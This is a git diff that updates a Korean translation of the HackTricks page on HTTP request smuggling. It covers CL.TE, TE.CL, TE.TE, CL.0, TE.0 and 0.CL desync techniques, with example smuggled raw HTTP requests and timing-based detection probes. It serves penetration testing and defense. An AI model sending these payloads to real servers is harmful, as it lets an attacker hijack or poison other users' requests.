mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/http-request-smuggling/README.md'] to ko
This commit is contained in:
parent
98cd085d58
commit
2271f853a7
@ -5,8 +5,8 @@
|
||||
|
||||
## 개요
|
||||
|
||||
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**가 발생하여 **공격자**가 **프론트엔드** 프록시(로드 밸런서/리버스 프록시)에는 **단일 요청**으로 **해석**되지만 **백엔드**에는 **2개의 요청**으로 **해석**되는 HTTP **request**를 **전송**할 수 있을 때 발생합니다.\
|
||||
이로 인해 사용자는 **자신의 요청 이후에 백엔드 서버로 도착하는 다음 요청을 수정**할 수 있게 됩니다.
|
||||
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 사이의 **동기화 불일치**로 인해 **공격자**가 **프론트엔드**(로드밸런서/리버스 프록시)에서는 **단일 요청**으로, **백엔드**에서는 **2개의 요청**으로 **해석되는** HTTP **요청**을 **전송**할 수 있을 때 발생합니다.\
|
||||
이로 인해 사용자는 **자신의 요청 다음에 백엔드에 도착하는 요청을 수정할 수** 있게 됩니다.
|
||||
|
||||
### 이론
|
||||
|
||||
@ -23,59 +23,59 @@
|
||||
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
|
||||
> Chunked means that large data is sent in a series of chunks
|
||||
|
||||
### 실제 상황
|
||||
### 현실
|
||||
|
||||
**프론트엔드**(로드밸런서 / 리버스 프록시)가 _**Content-Length**_ 또는 _**Transfer-Encoding**_ 헤더 중 하나를 **처리**하고, **백엔드** 서버가 **다른 것**을 처리하면서 두 시스템 간에 **비동기화**가 발생합니다.\
|
||||
이것은 매우 치명적일 수 있는데, 공격자가 리버스 프록시에 하나의 요청을 보내면 **백엔드** 서버가 이를 **두 개의 서로 다른 요청으로 해석**할 수 있기 때문입니다. 이 기법의 위험성은 백엔드 서버가 **주입된 두 번째 요청**을 **다음 클라이언트로부터 온 것**으로 해석하고, 그 클라이언트의 실제 요청이 **주입된 요청의 일부**가 되어버린다는 점에 있습니다.
|
||||
**프론트엔드**(로드밸런서 / 리버스 프록시)는 _**Content-Length**_ 또는 _**Transfer-Encoding**_ 헤더를 처리하고, **백엔드** 서버는 **다른 헤더를 처리**하여 두 시스템 간에 **동기화 불일치**를 일으킬 수 있습니다.\
|
||||
이것은 매우 치명적일 수 있는데, **공격자는 리버스 프록시에 하나의 요청을 보내서 백엔드가 이를 두 개의 서로 다른 요청으로 해석하게** 만들 수 있기 때문입니다. 이 기법의 위험성은 **백엔드**가 **주입된 두 번째 요청을 다음 클라이언트로부터 온 것처럼 처리**하고, 그 클라이언트의 실제 요청이 **주입된 요청의 일부**가 되어버린다는 점에 있습니다.
|
||||
|
||||
### 세부사항
|
||||
|
||||
HTTP에서 **새 줄(new line)** 문자는 **2바이트**로 구성된다는 것을 기억하세요:
|
||||
HTTP에서 **새 줄 문자(new line)**는 2바이트로 구성된다는 것을 기억하세요(즉 CRLF).
|
||||
|
||||
- **Content-Length**: 이 헤더는 요청 본문의 바이트 수를 나타내기 위해 **십진수(decimal)** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 기대되며, **요청 끝에 새 줄이 필요하지 않습니다**.
|
||||
- **Transfer-Encoding:** 이 헤더는 본문에서 **다음 청크의 바이트 수를 나타내기 위해 16진수(hexadecimal)** 숫자를 사용합니다. 각 **청크는 새 줄로 끝나야** 하지만 이 새 줄은 길이 지시자에 포함되지 않습니다. 이 전송 방식은 **크기가 0인 청크와 그 뒤에 2개의 새 줄**로 끝나야 합니다: `0`
|
||||
- **Connection**: 제 경험상, Request Smuggling의 첫 번째 요청에는 **`Connection: keep-alive`**를 사용하는 것이 권장됩니다.
|
||||
- **Content-Length**: 이 헤더는 요청 본문의 바이트 수를 **십진수**로 표시합니다. 본문은 마지막 문자에서 끝나는 것으로 기대되며, **요청 끝에 추가적인 새 줄이 필요하지 않습니다.**
|
||||
- **Transfer-Encoding:** 이 헤더는 본문에서 **다음 청크의 크기를 16진수**로 표시합니다. 각 **청크**는 **새 줄로 끝나야** 하지만 이 새 줄은 길이 표시에서 **계산되지 않습니다.** 이 전송 방식은 **크기가 0인 청크 뒤에 2개의 새 줄**로 끝나야 합니다: `0`
|
||||
- **Connection**: 경험상 request smuggling을 시도할 때 첫 요청에서는 **`Connection: keep-alive`** 를 사용하는 것이 권장됩니다.
|
||||
|
||||
### Visible - Hidden
|
||||
|
||||
HTTP/1.1의 주요 문제는 모든 요청이 같은 TCP 소켓으로 들어오므로, 두 시스템 간에 불일치가 있으면 하나의 요청을 최종 백엔드(또는 중간 시스템)에 의해 2개 이상의 서로 다른 요청으로 처리되게 보낼 수 있다는 것입니다.
|
||||
HTTP/1.1의 주요 문제는 모든 요청이 동일한 TCP 소켓으로 가기 때문에, 두 시스템이 요청을 받는 방식에 차이가 있으면 하나의 요청을 최종 백엔드(또는 중간 시스템)에서 서로 다른 여러 요청으로 처리되게 할 수 있다는 점입니다.
|
||||
|
||||
**[This blog post](https://portswigger.net/research/http1-must-die)**는 WAF에 의해 탐지되지 않는 시스템에 대한 desync 공격을 탐지하는 새로운 방법을 제시합니다. 이를 위해 Visible vs Hidden 동작을 소개합니다. 이 경우의 목표는 실제로 아무것도 악용하지 않고도 desync를 유발할 수 있는 기법을 사용해 응답의 불일치를 찾으려는 것입니다.
|
||||
[This blog post](https://portswigger.net/research/http1-must-die)에서는 WAF에 의해 탐지되지 않는 시스템의 desync 공격을 새롭게 탐지할 방법을 제시합니다. 이를 위해 Visible vs Hidden 행동을 소개합니다. 이 경우의 목표는 실제로 아무 것도 익스플로잇하지 않고 desync를 유발할 수 있는 기법들을 사용해 응답의 불일치를 찾는 것입니다.
|
||||
|
||||
예를 들어, 정상적인 Host 헤더와 " host" 헤더(앞에 공백 포함)를 함께 전송했을 때, 백엔드가 이 요청에 대해 불만을 표시한다면(예: " host"의 값이 잘못되었다는 이유 등) 이는 프론트엔드가 " host" 헤더를 보지 못했지만 최종 백엔드는 그것을 사용했음을 의미할 수 있으며, 이는 프론트엔드와 백엔드 사이의 desync를 강하게 시사합니다.
|
||||
예를 들어, 정상적인 Host 헤더와 " host" 헤더를 함께 전송했을 때 백엔드가 이 요청에 대해 불평(예: " host" 값이 올바르지 않아서)을 한다면, 이는 프론트엔드가 " host" 헤더를 무시했지만 최종 백엔드는 이를 사용했음을 의미할 수 있으며, 프론트엔드와 백엔드 사이의 desync를 강하게 시사합니다.
|
||||
|
||||
이것은 **Hidden-Visible 불일치**가 됩니다.
|
||||
|
||||
반대로 프론트엔드가 " host" 헤더를 고려했지만 백엔드가 고려하지 않았다면, 이것은 **Visible-Hidden** 상황이 될 수 있습니다.
|
||||
반대로 프론트엔드가 " host" 헤더를 처리했지만 백엔드가 처리하지 않았다면, 이는 **Visible-Hidden** 상황에 해당합니다.
|
||||
|
||||
예를 들어, AWS ALB를 프론트엔드로 사용하고 IIS를 백엔드로 사용하는 환경에서 desync를 발견할 수 있었습니다. "Host: foo/bar"를 보냈을 때 ALB는 `400, Server; awselb/2.0`을 반환했지만, "Host : foo/bar"(호스트 이름 앞의 공백 포함)를 보냈을 때는 `400, Server: Microsoft-HTTPAPI/2.0`을 반환하여 백엔드가 응답을 보내고 있음을 나타냈습니다. 이는 Hidden-Visible(H-V) 상황입니다.
|
||||
예를 들어, AWS ALB(프론트엔드)와 IIS(백엔드) 사이의 desync는 이런 방식으로 발견되었습니다. "Host: foo/bar"를 보냈을 때 ALB는 `400, Server; awselb/2.0`을 반환했으나, "Host : foo/bar"를 보냈을 때는 `400, Server: Microsoft-HTTPAPI/2.0`을 반환하여 백엔드가 응답을 보내고 있음을 나타냈습니다. 이는 Hidden-Visible (H-V) 상황입니다.
|
||||
|
||||
이 상황은 AWS에서 자동으로 수정되지는 않았지만, `routing.http.drop_invalid_header_fields.enabled`를 설정하고 `routing.http.desync_mitigation_mode = strictest`로 설정하면 방지할 수 있습니다.
|
||||
이 상황은 AWS에서 즉시 수정되지는 않았지만, `routing.http.drop_invalid_header_fields.enabled`를 설정하고 `routing.http.desync_mitigation_mode = strictest`로 설정하면 방지할 수 있습니다.
|
||||
|
||||
|
||||
## 기본 예시
|
||||
|
||||
> [!TIP]
|
||||
> Burp Suite로 이를 시도할 때는 리피터에서 **`Update Content-Length`와 `Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 gadget은 개행, carriage return 및 잘못된 content-length를 악용합니다.
|
||||
> Burp Suite로 이를 익스플로잇하려고 할 때는 repeater에서 **`Update Content-Length`**와 **`Normalize HTTP/1 line endings`** 를 비활성화하세요. 일부 gadget은 개행, 캐리지 리턴 및 잘못된 content-length를 악용합니다.
|
||||
|
||||
HTTP request smuggling 공격은 프론트엔드와 백엔드 서버가 `Content-Length`(CL)와 `Transfer-Encoding`(TE) 헤더를 해석하는 방식의 불일치를 악용하는 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE** 형태로 나타납니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 동일한 요청을 서로 다르게 처리함으로써 예기치 않은, 잠재적으로 악의적인 결과가 발생할 때 생깁니다.
|
||||
HTTP request smuggling 공격은 front-end와 back-end 서버가 `Content-Length`(CL)와 `Transfer-Encoding`(TE) 헤더를 해석하는 방식의 불일치를 이용해 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE** 형태로 나타납니다. 각 유형은 프론트엔드와 백엔드가 이러한 헤더를 우선 처리하는 방식의 고유한 조합을 나타냅니다. 취약점은 동일한 요청을 서버들이 다르게 처리할 때 발생하며, 예상치 못한 악의적인 결과를 초래할 수 있습니다.
|
||||
|
||||
### 취약점 유형의 기본 예시
|
||||
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> 앞의 표에는 TE.0 기법도 추가해야 합니다. CL.0 기법과 유사하지만 Transfer-Encoding을 사용합니다.
|
||||
> 이전 표에는 TE.0 기법도 추가해야 합니다. 이는 CL.0 기법과 유사하지만 Transfer-Encoding을 사용합니다.
|
||||
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
- **Front-End (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
- **Back-End (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
- **Front-End (CL):** `Content-Length` 헤더를 기준으로 요청을 처리합니다.
|
||||
- **Back-End (TE):** `Transfer-Encoding` 헤더를 기준으로 요청을 처리합니다.
|
||||
- **공격 시나리오:**
|
||||
|
||||
- 공격자는 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 맞지 않는 요청을 보냅니다.
|
||||
- 공격자는 `Content-Length` 헤더 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
|
||||
- 프론트엔드는 `Content-Length` 값에 따라 전체 요청을 백엔드로 전달합니다.
|
||||
- 백엔드는 `Transfer-Encoding: chunked` 헤더 때문에 요청을 청크 방식으로 처리하여 나머지 데이터를 별도의 후속 요청으로 해석합니다.
|
||||
- 백엔드는 `Transfer-Encoding: chunked` 헤더 때문에 요청을 청크 형식으로 처리하여 남은 데이터를 별도의 후속 요청으로 해석합니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
@ -93,13 +93,13 @@ Foo: x
|
||||
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
|
||||
- **Front-End (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
- **Back-End (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
- **Front-End (TE):** `Transfer-Encoding` 헤더를 기준으로 요청을 처리합니다.
|
||||
- **Back-End (CL):** `Content-Length` 헤더를 기준으로 요청을 처리합니다.
|
||||
- **공격 시나리오:**
|
||||
|
||||
- 공격자는 청크 사이즈(`7b`)와 실제 컨텐츠 길이(`Content-Length: 4`)가 일치하지 않는 chunked 요청을 보냅니다.
|
||||
- 프론트엔드는 `Transfer-Encoding`을 따르며 전체 요청을 백엔드로 전달합니다.
|
||||
- 백엔드는 `Content-Length`를 존중하여 요청의 초기 부분(예: `7b` 바이트)만 처리하고, 나머지는 의도치 않은 후속 요청의 일부로 남깁니다.
|
||||
- 공격자는 청크 크기(`7b`)와 실제 콘텐츠 길이(`Content-Length: 4`)가 일치하지 않는 chunked 요청을 전송합니다.
|
||||
- 프론트엔드는 `Transfer-Encoding`을 준수하여 전체 요청을 백엔드로 전달합니다.
|
||||
- 백엔드는 `Content-Length`를 존중하여 요청의 처음 부분(지정된 바이트 수)만 처리하고, 나머지는 의도치 않은 후속 요청의 일부로 남깁니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
@ -122,12 +122,12 @@ x=
|
||||
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **서버들:** 둘 다 `Transfer-Encoding`을 지원하지만, 한쪽은 난독화로 인해 이를 무시하도록 속일 수 있습니다.
|
||||
- **서버들:** 둘 다 `Transfer-Encoding`을 지원하지만 하나는 난독화로 인해 이를 무시하도록 유도될 수 있습니다.
|
||||
- **공격 시나리오:**
|
||||
|
||||
- 공격자는 난독화된 `Transfer-Encoding` 헤더들을 포함한 요청을 보냅니다.
|
||||
- 프론트엔드나 백엔드 중 어느 쪽이 난독화를 인식하지 못하느냐에 따라 CL.TE 또는 TE.CL 취약점을 악용할 수 있습니다.
|
||||
- 한 서버가 보지 못한 요청의 남은 부분이 후속 요청의 일부가 되어 smuggling이 발생합니다.
|
||||
- 어느 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하느냐에 따라 CL.TE 또는 TE.CL 취약점을 악용할 수 있습니다.
|
||||
- 한 서버가 처리하지 않은 요청의 일부는 다른 서버에서 후속 요청의 일부가 되어 smuggling을 초래합니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
@ -147,10 +147,10 @@ Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL 시나리오 (Content-Length used by both Front-End and Back-End)**
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- 양쪽 서버 모두 `Content-Length` 헤더만으로 요청을 처리합니다.
|
||||
- 이 시나리오는 일반적으로 smuggling으로 이어지지 않는데, 두 서버가 요청 길이를 일치되게 해석하기 때문입니다.
|
||||
- 두 서버 모두 `Content-Length` 헤더만으로 요청을 처리합니다.
|
||||
- 이 시나리오는 보통 smuggling으로 이어지지 않는데, 이는 두 서버가 요청 길이를 일치하게 해석하기 때문입니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
@ -162,10 +162,10 @@ Connection: keep-alive
|
||||
Normal Request
|
||||
```
|
||||
|
||||
#### **CL.0 시나리오**
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지는 시나리오를 지칭합니다. 이 경우 백엔드는 `Content-Length` 헤더를(0으로 처리하여) 무시하지만 프론트엔드는 이를 파싱합니다.
|
||||
- 이는 서버가 요청의 끝을 결정하는 방식에 영향을 미치기 때문에 request smuggling을 이해하고 구성하는 데 중요합니다.
|
||||
- `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지며, 이는 요청 본문에 내용이 있음을 나타내는 시나리오를 말합니다. 백엔드는 `Content-Length` 헤더를 무시(0으로 처리)하지만 프론트엔드는 이를 파싱하는 경우입니다.
|
||||
- 이는 smuggling 공격을 이해하고 구성할 때 중요합니다. 왜냐하면 서버들이 요청의 끝을 결정하는 방식에 영향을 주기 때문입니다.
|
||||
- **예시:**
|
||||
|
||||
```
|
||||
@ -177,9 +177,9 @@ Connection: keep-alive
|
||||
Non-Empty Body
|
||||
```
|
||||
|
||||
#### TE.0 시나리오
|
||||
#### TE.0 Scenario
|
||||
|
||||
- 앞의 경우와 유사하지만 TE를 사용하는 경우입니다.
|
||||
- 위의 CL.0과 유사하지만 TE를 사용하는 경우입니다.
|
||||
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **예시**:
|
||||
```
|
||||
@ -201,7 +201,7 @@ EMPTY_LINE_HERE
|
||||
```
|
||||
#### `0.CL` 시나리오
|
||||
|
||||
`0.CL` 상황에서는 Content-Length가 다음과 같이 설정된 request가 전송됩니다:
|
||||
`0.CL` 상황에서는 다음과 같이 Content-Length를 가진 요청이 전송됩니다:
|
||||
```
|
||||
GET /Logon HTTP/1.1
|
||||
Host: <redacted>
|
||||
@ -211,27 +211,27 @@ Content-Length:
|
||||
GET /404 HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
그리고 front-end는 `Content-Length`를 고려하지 않기 때문에 예제에서 7까지인 첫 번째 요청만 backend로 전송합니다. 그러나 backend는 `Content-Length`를 보고 본문을 기다리는데, front-end가 이미 응답을 기다리고 있어 본문이 도착하지 않습니다.
|
||||
그리고 front-end는 `Content-Length`를 고려하지 않아서 예시에서 7까지(즉 첫 번째 요청까지만) backend로 request를 보낸다. 그러나 backend는 `Content-Length`를 보고 본문(body)을 기다리는데, front-end는 이미 response를 기다리고 있기 때문에 그 본문은 결코 도착하지 않는다.
|
||||
|
||||
하지만 backend로 보낸 요청의 본문을 받기 전에 응답하는 요청이 있다면 이 교착 상태는 발생하지 않습니다. 예를 들어 IIS에서는 `/con`과 같은 금지된 이름으로 요청을 보내면 (자세한 내용은 [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)을 확인하세요), 초기 요청은 바로 응답되고 두 번째 요청에는 피해자의 요청이 포함됩니다:
|
||||
하지만 backend에 보낼 수 있는 요청 중 요청 본문을 받기 전에 응답을 반환하는 것이 있으면 이 deadlock은 발생하지 않는다. 예를 들어 IIS에서는 `/con` 같은 금지된 이름으로 요청을 보내면(자세한 내용은 [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file) 참조), 초기 요청은 바로 응답되고 두 번째 요청은 피해자의 요청을 포함하게 된다:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
X: yGET /victim HTTP/1.1
|
||||
Host: <redacted>
|
||||
```
|
||||
이는 desync를 유발하는 데 유용하지만, 지금까지는 아무 영향이 없다.
|
||||
이는 desync를 일으키는 데 유용하지만, 지금까지는 아무 영향이 없었습니다.
|
||||
|
||||
하지만 이 포스트는 이를 **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**로 변환함으로써 해결책을 제시한다.
|
||||
However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
|
||||
|
||||
#### 웹 서버 중단
|
||||
|
||||
이 기법은 초기 HTTP 데이터를 읽는 동안 웹 서버를 **중단시키는 것이 가능하지만 연결을 닫지 않는** 상황에서도 유용하다. 이렇게 하면 HTTP 요청의 **body**가 **다음 HTTP 요청**으로 간주된다.
|
||||
이 기법은 초기 HTTP 데이터를 읽는 동안 **웹 서버를 손상시킬 수 있지만** 동시에 **연결을 닫지 않는** 상황에서도 유용합니다. 이렇게 되면 HTTP 요청의 **body**가 다음 HTTP 요청으로 간주됩니다.
|
||||
|
||||
예를 들어, [**this writeup**](https://mizu.re/post/twisty-python)에 설명된 것처럼, Werkzeug에서는 일부 **Unicode** 문자를 전송하면 서버가 **중단**될 수 있었다. 그러나 HTTP 연결이 헤더 **`Connection: keep-alive`**로 생성된 경우 요청의 body는 읽히지 않고 연결은 계속 열려 있으므로, 요청의 **body**는 **다음 HTTP 요청**으로 처리된다.
|
||||
For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
|
||||
|
||||
#### hop-by-hop 헤더를 통한 강제화
|
||||
#### hop-by-hop headers를 통한 강제
|
||||
|
||||
hop-by-hop 헤더를 악용하면 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP request smuggling을 악용할 수 있다**.
|
||||
hop-by-hop headers를 악용하면 프록시에게 **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
@ -244,14 +244,14 @@ For **more information about hop-by-hop headers** visit:
|
||||
|
||||
## HTTP Request Smuggling 찾기
|
||||
|
||||
HTTP request smuggling 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대해 서버가 응답하는 데 걸리는 시간을 관찰하는 데 의존합니다. 이러한 기법은 특히 CL.TE 및 TE.CL 취약점을 탐지하는 데 유용합니다. 이 방법들 외에도 해당 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구들이 있습니다:
|
||||
HTTP request smuggling 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있습니다. 이 기법들은 변조된 요청에 대해 서버가 응답하는 데 걸리는 시간을 관찰하는 것에 기반합니다. 이러한 방법들은 CL.TE 및 TE.CL 취약점을 탐지하는 데 특히 유용합니다. 이 방법들 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구들이 있습니다:
|
||||
|
||||
### 타이밍 기법으로 CL.TE 취약점 찾기
|
||||
### CL.TE 취약점 찾기 (타이밍 기법 사용)
|
||||
|
||||
- **방법:**
|
||||
|
||||
- 취약할 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
|
||||
- **예시:**
|
||||
- 애플리케이션이 취약한 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
|
||||
- **예:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -266,19 +266,19 @@ A
|
||||
```
|
||||
|
||||
- **관찰:**
|
||||
- 프론트엔드 서버는 `Content-Length`를 기준으로 요청을 처리하여 메시지를 조기에 잘라냅니다.
|
||||
- 백엔드 서버는 chunked 메시지를 기대하고 다음 청크를 기다리지만 도착하지 않아 지연이 발생합니다.
|
||||
- 프론트엔드 서버는 `Content-Length`를 기준으로 요청을 처리하고 메시지를 조기에 잘라냅니다.
|
||||
- 백엔드 서버는 chunked 메시지를 기대하고 있기 때문에 다음 chunk를 기다리며 응답 지연이 발생합니다.
|
||||
|
||||
- **지표:**
|
||||
- 응답 지연 또는 타임아웃.
|
||||
- 때때로 자세한 서버 정보와 함께 백엔드 서버에서 400 Bad Request 오류를 수신함.
|
||||
- 타임아웃 또는 긴 응답 지연.
|
||||
- 때로는 상세한 서버 정보와 함께 백엔드 서버로부터 400 Bad Request 오류를 수신.
|
||||
|
||||
### 타이밍 기법으로 TE.CL 취약점 찾기
|
||||
### TE.CL 취약점 찾기 (타이밍 기법 사용)
|
||||
|
||||
- **방법:**
|
||||
|
||||
- 취약할 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
|
||||
- **예시:**
|
||||
- 애플리케이션이 취약한 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
|
||||
- **예:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -293,22 +293,22 @@ X
|
||||
|
||||
- **관찰:**
|
||||
- 프론트엔드 서버는 `Transfer-Encoding`을 기준으로 요청을 처리하고 전체 메시지를 전달합니다.
|
||||
- 백엔드 서버는 `Content-Length` 기반 메시지를 기대하고 추가 데이터를 기다리지만 도착하지 않아 지연이 발생합니다.
|
||||
- 백엔드 서버는 `Content-Length` 기반의 메시지를 기대하고 추가 데이터를 기다리기 때문에 지연이 발생합니다.
|
||||
|
||||
### 기타 취약점 발견 방법
|
||||
### 취약점 발견을 위한 기타 방법
|
||||
|
||||
- **차별 응답 분석:**
|
||||
- 약간씩 다른 버전의 요청을 전송하고 서버 응답이 예기치 않게 달라지는지 관찰하여 파싱 불일치를 식별합니다.
|
||||
- **차등 응답 분석:**
|
||||
- 요청의 약간씩 다른 버전을 전송하고 서버 응답이 예상치 못하게 다르게 나타나는지 관찰하여 파싱 불일치를 식별합니다.
|
||||
- **자동화 도구 사용:**
|
||||
- Burp Suite의 'HTTP Request Smuggler' 확장과 같은 도구는 다양한 형태의 모호한 요청을 전송하고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
|
||||
- **Content-Length 가변성 테스트:**
|
||||
- Burp Suite의 'HTTP Request Smuggler' 같은 도구는 다양한 형태의 모호한 요청을 자동으로 전송하고 응답을 분석하여 이러한 취약점을 테스트할 수 있습니다.
|
||||
- **Content-Length 변동 테스트:**
|
||||
- 실제 콘텐츠 길이와 일치하지 않는 다양한 `Content-Length` 값을 가진 요청을 전송하고 서버가 이러한 불일치를 어떻게 처리하는지 관찰합니다.
|
||||
- **Transfer-Encoding 가변성 테스트:**
|
||||
- 난독화되거나 잘못된 형식의 `Transfer-Encoding` 헤더를 가진 요청을 전송하고 프론트엔드와 백엔드 서버가 이러한 조작에 어떻게 다르게 반응하는지 모니터링합니다.
|
||||
- **Transfer-Encoding 변형 테스트:**
|
||||
- 모호하거나 손상된 `Transfer-Encoding` 헤더를 가진 요청을 보내 프론트엔드와 백엔드 서버가 이러한 조작에 대해 어떻게 다르게 반응하는지 모니터링합니다.
|
||||
|
||||
### The `Expect: 100-continue` header
|
||||
|
||||
이 헤더가 http desync를 악용하는 데 어떻게 도움이 되는지 확인:
|
||||
이 헤더가 http desync를 악용하는 데 어떻게 도움이 되는지 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/special-http-headers.md
|
||||
@ -316,25 +316,25 @@ X
|
||||
|
||||
### HTTP Request Smuggling 취약점 테스트
|
||||
|
||||
타이밍 기법의 효과가 확인되면 클라이언트 요청을 조작할 수 있는지 검증하는 것이 중요합니다. 간단한 방법은 요청을 poisoning하여 `/`에 대한 요청이 404 응답을 반환하도록 시도하는 것입니다. 앞서 [Basic Examples](#basic-examples)에서 논의한 `CL.TE` 및 `TE.CL` 예시는 클라이언트가 다른 리소스에 접근하려 할 때에도 클라이언트의 요청을 poisoning하여 404 응답을 유도하는 방법을 보여줍니다.
|
||||
타이밍 기법의 유효성을 확인한 후에는 클라이언트 요청을 조작할 수 있는지 검증하는 것이 중요합니다. 간단한 방법은 요청을 poisoning하려 시도하는 것으로, 예를 들어 `/`에 대한 요청이 404 응답을 반환하도록 만드는 것입니다. 앞서 [Basic Examples](#basic-examples)에서 다룬 `CL.TE` 및 `TE.CL` 예제들은 클라이언트가 다른 리소스에 접근하려고 해도 클라이언트의 요청을 poisoning하여 404 응답을 유도하는 방법을 보여줍니다.
|
||||
|
||||
**주요 고려사항**
|
||||
|
||||
테스트 중 다른 요청을 간섭시키며 request smuggling 취약점을 확인할 때 다음을 유의하세요:
|
||||
다른 요청을 방해하여 request smuggling을 테스트할 때 다음을 유의하세요:
|
||||
|
||||
- **별도의 네트워크 연결:** "attack"과 "normal" 요청은 별도의 네트워크 연결로 전송되어야 합니다. 둘을 동일한 연결에서 보내면 취약점이 존재한다고 판단할 수 없습니다.
|
||||
- **일관된 URL 및 파라미터:** 두 요청 모두에 대해 동일한 URL과 파라미터 이름을 사용하도록 하세요. 최신 애플리케이션은 종종 URL 및 파라미터에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 공격 성공을 위해 전제 조건입니다.
|
||||
- **타이밍 및 레이스 조건:** "normal" 요청은 "attack" 요청의 간섭을 감지하기 위해 보내는 것으로, 다른 동시 애플리케이션 요청들과 경쟁합니다. 따라서 "attack" 요청 직후에 "normal" 요청을 보내세요. 트래픽이 많은 애플리케이션의 경우 결론적 취약점 확인을 위해 여러 번 시도해야 할 수 있습니다.
|
||||
- **로드 밸런싱 문제:** 프론트엔드 서버가 로드 밸런서 역할을 하면 요청을 다양한 백엔드 시스템으로 분산시킬 수 있습니다. "attack"과 "normal" 요청이 서로 다른 시스템으로 전달되면 공격은 성공하지 않습니다. 이 로드 밸런싱 요소 때문에 취약점을 확인하려면 여러 번 시도해야 할 수 있습니다.
|
||||
- **의도치 않은 사용자 영향:** 공격이 의도치 않게 다른 사용자의 요청(탐지용으로 보낸 "normal" 요청이 아닌)에 영향을 미친다면, 이는 공격이 다른 애플리케이션 사용자를 영향받게 했다는 뜻입니다. 계속된 테스트는 다른 사용자를 방해할 수 있으므로 주의가 필요합니다.
|
||||
- **Distinct Network Connections:** "attack" 요청과 "normal" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 동일한 연결을 사용하면 취약점 존재 여부를 검증할 수 없습니다.
|
||||
- **Consistent URL and Parameters:** 가능한 한 두 요청에 대해 동일한 URL 및 파라미터 이름을 사용하세요. 현대 애플리케이션은 URL 및 파라미터에 따라 특정 백엔드 서버로 요청을 라우팅하는 경우가 많습니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격을 위해 필요합니다.
|
||||
- **Timing and Racing Conditions:** "normal" 요청(공격 요청의 간섭을 감지하기 위한)은 다른 동시 애플리케이션 요청들과 경쟁합니다. 따라서 "attack" 요청 직후 즉시 "normal" 요청을 전송하세요. 바쁜 애플리케이션에서는 결론을 내기 위해 여러 차례 시도가 필요할 수 있습니다.
|
||||
